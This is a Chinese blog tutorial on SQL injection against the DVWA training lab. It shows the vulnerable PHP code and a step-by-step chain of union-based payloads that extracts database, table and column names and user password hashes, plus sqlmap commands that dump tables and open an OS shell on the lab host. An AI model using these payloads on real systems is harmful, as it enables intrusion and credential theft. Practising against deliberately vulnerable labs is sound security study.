【技术分享】DVWA SQL注入篇
2022-12-02 / 0 评论 / 111 阅读 / 5 点赞

【技术分享】DVWA SQL注入篇

发光的神
2022-12-02 / 0 评论 / 111 阅读 / 正在检测是否收录...

简介

DVWA(Damn Vulnerable Web Application)是一个存在各种漏洞的Web网站,可以帮助安全研究人员学习挖掘漏洞的靶机系统、里面包括一些常见的漏洞如:SQL、XSS、RCE、文件包含等等,可以很方便的快速复现漏洞。

手动注入

难度: LOW

lb66h0ah.png

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // 看这一段sql语句是查询的关键。
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

分析: 判断是否存在sql注入,最简单的办法输入一个单引号,这样就会导致正常的sql语句语法错误,mysql就会报错在前端就能看见,可以查看下后端的源代码,在前端有提供。

SELECT first_name, last_name FROM users WHERE user_id = ''';

1.刚才输入了一个单引号提交了那么,sql语句就会拼接成这样,sql语法就错误了。

lb66sghj.png

2.在前端就会显示错误信息,那么就存在sql注入,有的时候会报错但在前端不显示,抓包多留一下。

注入类型

1.布尔注入:可以根据返回页面判断条件真假的注入;
2.联合注入:可以使用 union 的注入;
3.延时注入:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
4.报错注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

判断方式

数字型 1 or 1=1
字符型 1' or '1'='1

lb67dy4y.png

1.用数字邢判断一下类型,发现还是正常反应。
lb67krig.png

2.用字符型试试看,果然有惊喜全部都出来了,为什么会出现这种情况呢,明明只有自己的账户却显示了所有人的账户呢?

1' or 1=1#
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1 = 1;

3.用这样的方式构建,就会发现拼接后的结果会是这样的,这里用到了 or 就算一个错了只要有一个成立了,那就成立。

猜字段

lb685vv7.png

1' order by 2#
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2;

1.通过 order by 可以发现这个表有几个字段,要是报错了那么字段就没那么多,就会像一下结果。
lb689tla.png

字段位置

lb68erfq.png

1' union select 1,2 #
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2;

1.我们可以发现,只有两个字段那么要找下这两个字段的位置,用这两个字段的位置给我们显示结果,这里要用到 union 联合查询。

查数据库名

lb68jmt9.png

1' union select 1, database() #
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, database();

1.可以发现 他的数据库名是 dvwa, 接下来就要找表名了。

查数据库表名

lb68nufd.png

1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = "dvwa")#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = "dvwa");

查表字段

lb68tcc5.png

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa';

查字段内容

lb69av06.png

1' union select user,password from users# 
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users;

lb69dtat.png

1.成功拿到所有账号和密码,去在线的MD5解密网站解下密就可以了。

难度: Medium

lb6bmogf.png

<?php
 
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
 
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; // 可以看到是数字型
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
 
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];
 
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
 
}
 
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
 
mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

1.发现没有地方能注入,由于是POST请求这个时候只能用抓包软件了。

lb6bl8e7.png

1 or 1=1#
SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1;

2.通过php后端代码的sql语句中,可以看出是数字型。

lb6btyrl.png

lb6c0rks.png

1 union select user,password from users#
SELECT first_name, last_name FROM users WHERE user_id = 1 union select user,password from users;

3.提交后可以发现还是一样的可以获取到账号和密码。

难度: High

lb6cci82.png

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}
?>
1' union select user,password from users#
SELECT first_name, last_name FROM users WHERE user_id = 1 union select user,password from users;

sqlmap注入

2022-07-10T03:16:40.png
这里我用DVWA靶场做演示,输入123 然后提交网址搜索框会有提交的参数 复制这个网址到sqlmap注入。
本章只讲怎么使用sqlmap 不懂注入原理的可以学习以下教程
SQL手工注入教程:https://blog.csdn.net/weixin_53139899/article/details/124229137
靶场环境下载:https://wws.lanzouj.com/i7RWK07mv1li
靶场安装教程:https://blog.csdn.net/Tockm/article/details/123381630

查数据库名称

sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" --dbs --batch
--cookie 必须带有因为关卡等级的原因
--dbs    显示数据库
--batch  静默yes 省去yes或no的操作

2022-07-10T02:53:51.png

2022-07-10T03:01:55.png

查数据库表

sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -tables --batch
-D 指定数据库
-tables 显示表名

2022-07-10T03:10:37.png

4.查看表中的字段名

sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -T users --columns --batch
-T 选择表
--columns 显示列

2022-07-10T03:13:54.png

查字段内容

sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -T users -C user,password --dump --batch
-C 指定字段
--dump 显示数据库表的条目

2022-07-10T03:23:16.png

sqlmap 上传木马

sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" --delay=1 --os-shell

sqlmap参数大全

https://blog.csdn.net/weixin_42160117/article/details/113999523

5

评论 (0)

取消
0:00